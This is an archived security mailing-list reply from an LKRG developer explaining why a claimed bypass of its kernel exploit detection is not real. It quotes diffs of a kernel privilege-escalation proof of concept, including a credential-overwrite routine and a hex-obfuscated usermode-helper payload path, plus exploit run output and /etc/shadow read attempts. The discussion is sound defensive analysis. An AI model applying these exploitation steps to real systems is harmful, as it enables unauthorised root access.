Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Fri, 16 Nov 2018 21:21:17 +0100
From: Adam Zabrocki <pi3@....com.pl>
To: lkrg-users@...ts.openwall.com
Subject: Re: LKRG Exploit Detection bypass (LOL)

Hi,

We've carefully analyzed exploit changes which you had made and we feel 
obligated to inform everyone on this list that it is NOT an LKRG bypass. 
Nevertheless, it's a nice trick of making it look otherwise ;-)
The exploit is written in a way that at first sets-up sandbox using namespaces. 
Because user namespace is put in place, shell "thinks" it already has root 
account privileges (via uid remapping). When you stop exploit exactly after 
sandbox is set-up but before exploitation starts the work, you can get similar 
shell:

pi3@...-ubuntu:~/z_confidence$ ./poc3
[.] starting
[.] checking distro and kernel versions
[.] kernel version '4.8.0-53-generic' detected
[~] done, versions looks good
[.] checking SMEP and SMAP
[~] done, looks good
[.] setting up namespace sandbox
[~] done, namespace sandbox set up
# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup) 
context=system_u:system_r:kernel_t:s0
# cat /etc/shadow
cat: /etc/shadow: Permission denied


Below you can see changes which I've made

pi3@...-ubuntu:~/z_confidence$ diff -u poc.c poc3.c
--- poc.c       2018-11-16 11:46:24.367607070 -0800
+++ poc3.c      2018-11-16 12:15:43.231904277 -0800
@@ -644,6 +644,8 @@
        printf("[.] setting up namespace sandbox\n");
        setup_sandbox();
        printf("[~] done, namespace sandbox set up\n");
+        execl("/bin/sh", NULL);
+        exit(0);

 #if ENABLE_KASLR_BYPASS
        printf("[.] KASLR bypass enabled, getting kernel addr\n");
pi3@...-ubuntu:~/z_confidence$



One of the changes which Ilya made comparing to the original exploit is the 
removal of credential overwrite from the get_root() function, which means that 
none of the privileges are ever changed:

 void get_root(void) {
-       ((_commit_creds)(COMMIT_CREDS))(
-           ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
+       unsigned int *p = __builtin_alloca(16); p[0] = 0x706d742f; p[1] = 0x6568732f; p[2] = 0x732e6c6c; p[3] = 0x00000068;
+       (_call_umh)(p, NULL, NULL, 0);
 }
 
Modified exploit is never abusing privileges to any process even though it 
looks otherwise:

pi3@...-ubuntu:~/z_confidence$ ./poc
[.] starting
[.] checking distro and kernel versions
[.] kernel version '4.8.0-53-generic' detected
[~] done, versions looks good
[.] checking SMEP and SMAP
[~] done, looks good
[.] setting up namespace sandbox
[~] done, namespace sandbox set up
[.] KASLR bypass enabled, getting kernel addr
[~] done, kernel text:   ffffffff89a00000
[.] commit_creds:        ffffffff89aa5d00
[.] prepare_kernel_cred: ffffffff89aa60f0
[.] SMEP bypass enabled, mmapping fake stack
[~] done, fake stack mmapped
[.] executing payload ffffffff89a17c55
[~] done, should be root now
root@...-ubuntu:~/z_confidence# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup) 
context=system_u:system_r:kernel_t:s0
root@...-ubuntu:~/z_confidence# cat /etc/shadow
cat: /etc/shadow: Permission denied
root@...-ubuntu:~/z_confidence# 


> But still keep in mind that everything you can do can be easily
> bypassed as LKRG acts at the same level as exploit.

Sure, We are fully aware of that, and even more, we have always been open about 
that. We've listed potential LKRG bypasses in official presentation which you 
can see here:

https://www.openwall.com/presentations/CONFidence2018-LKRG-Under-The-Hood/slide-39.html

Best regards,
Adam

-- 
pi3 (pi3ki31ny) - pi3 (at) itsec pl
http://pi3.com.pl

Powered by blists - more mailing lists

Your e-mail address:

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.